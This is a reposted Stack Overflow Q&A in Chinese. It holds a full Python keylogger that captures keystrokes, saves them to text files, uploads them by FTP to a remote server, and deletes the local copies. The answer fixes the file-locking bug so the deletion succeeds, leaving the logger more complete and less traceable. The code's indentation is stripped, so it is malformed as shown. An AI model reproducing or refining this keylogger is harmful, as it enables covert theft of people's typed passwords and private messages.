gpt4 book ai didi

python - 使用Python ftplib上传后无法删除文件

转载 作者:行者123 更新时间:2023-12-01 07:00:38 25 4
gpt4 key购买 nike

这是我的完整程序:

from ftplib import FTP
from keyboard import read_key
from multiprocessing import Process
from os import unlink
from random import random


def send_file(data):
username = str(int(random() * 10000)) + "m.txt"
ftp = FTP('***')
file = open(username, 'x+')
for stroke in data:
file.write(stroke)
data.clear()
file.close()
while True:
try:
ftp.login(user='***', passwd='***')
ftp.cwd('key_logger')
ftp.storbinary("STOR " + username, open(username, 'rb'))
ftp.quit()
break
except Exception:
ftp.set_pasv(True)
continue
unlink(username)


def get_strokes():
strokes = []
i = 0
while True:
key1 = read_key()
if i == 0:
strokes.append(key1)
elif strokes.__len__() > 20:
send = Process(target=send_file, args=(strokes, ), name="main")
send.start()
strokes.clear()
i += 1
i %= 2


if __name__ == '__main__':
get = Process(target=get_strokes(), args=())
get.start()
get.join()

我正在制作一个按键记录器,用于监听笔划并将其保存在lines中。当笔划达到一定长度时,它们会保存在 .txt 文件中,然后发送到我的服务器。

然后我需要使用 os.remove() 或 os.unlink 删除 .txt 文件,但它们都没有删除我的文件。

最佳答案

您永远不会关闭打开上传的文件。所以它被锁定并且无法删除。

上传文件的正确方法是:

with open(username, 'rb') as f:
ftp.storbinary("STOR " + username, f)

关于python - 使用Python ftplib上传后无法删除文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/58649391/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com